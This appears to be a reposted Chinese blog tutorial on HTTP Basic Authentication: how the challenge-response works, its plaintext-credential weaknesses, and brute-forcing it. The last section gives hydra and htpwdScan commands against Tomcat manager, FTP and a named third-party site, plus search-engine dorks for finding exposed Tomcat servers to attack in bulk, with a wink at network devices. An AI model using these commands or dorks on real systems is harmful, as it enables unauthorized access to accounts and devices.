Basic Auth攻击

Posted kat-sec

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Basic Auth攻击相关的知识,希望对你有一定的参考价值。

Basic Auth攻击

1、Basic Auth认证简介

Basic身份认证,是HTTP 1.0中引入的认证方案之一。虽然方案比较古老,同时存在安全缺陷,但由于实现简单,至今仍有不少网站在使用它。
例如Apche Tomcat、路由器等。

2、认证步骤

1、如下,用户访问受限资源 /protected_docs。请求报文如下:

GET /protected_docs HTTP/1.1
Host: 127.0.0.1:3000

2、服务端发现 /protected_docs 为受限资源,于是向用户发送401状态码,要求进行身份认证。

HTTP/1.1 401 Unauthorized
WWW-Authenticate: Basic realm=protected_docs

响应首部中,通过WWW-Authenticate告知客户端,认证的方案是basic。同时以realm告知认证的范围。

3、用户收到服务端响应后,填写用户名、密码,然后向服务端发送认证请求。
技术图片
4、服务端收到用户的认证请求后,对请求进行验证。验证包含如下步骤:

  • 根据用户请求资源的地址,确定资源对应的realm。
  • 解析 Authorization 请求首部,获得用户名、密码。
  • 判断用户是否有访问该realm的权限。
  • 验证用户名、密码是否匹配。
    一旦上述验证通过,则返回请求资源。如果验证失败,则返回401要求重新认证,或者返回403(Forbidden)。

    3、安全缺陷

    Basic认证的安全缺陷比较明显,它通过明文传输用户的密码,这会导致严重的安全问题。

  • 在传输层未加密的情况下,用户明文密码可被中间人截获。
  • 明文密码一旦泄露,如果用户其他站点也用了同样的明文密码(大概率),那么用户其他站点的安全防线也告破。
  • 除了安全缺陷以外,Basic认证还存在无法吊销认证的情况。

    4、Basic Auth暴力破解

    1、使用hydra
 hydra -L /usr/share/wordlists/metasploit/tomcat_mgr_default_users.txt -P /usr/share/wordlists/metasploit/tomcat_mgr_default_pass.txt -s 8
080 -f 0.0.0.0 http-get /manager/html/

hydra爆破工具还可以针对非常规的端口的FTP服务进行爆破

hydra -l www -w 10 -P pwd.txt -t 10 -v -f ftp://192.168.1.20:2121

2、使用htpwdScan

htpwdScan.py -u=http://auth.58.com/ -basic user.txt password.txt
  • 介绍一个批量利用Tomcat的小技巧

    在搜索引擎中搜索如下关键词,可以找到大量老版本Tomcat:

    intitle:”Apache Tomcat”  intext:”Thanks for using Tomcat!”

    技术图片
    对于较新版本,则使用如下关键词:

    intitle:”Apache Tomcat/7.0.42″

    为了匹配更多的7.0版本,考虑使用:

intitle:Apache Tomcat/7.0.
“Apache Software Foundation.” intitle:Apache Tomcat/7.0

技术图片
还可以使用该工具进行校验代理

htpwdScan.py -u=http://www.baidu.com -get -proxylist=available.txt -checkproxy -suc="百度一下"

3、使用burpsuite
这种方法比较麻烦,必须使用的情况下可以自己看看。

同时基于Basic Auth认证的网络设备特备多,可以嘿嘿。。。
技术图片

以上是关于Basic Auth攻击的主要内容,如果未能解决你的问题,请参考以下文章

Laravel Guzzle Basic Auth成功返回空

Endpoint Basic Auth VueJs

nginx配置指令auth_basic、auth_basic_user_file及相关知识

nginx返回错误状态码401

nginx 添加basic auth

nginx认证模块ngx_http_auth_basic_module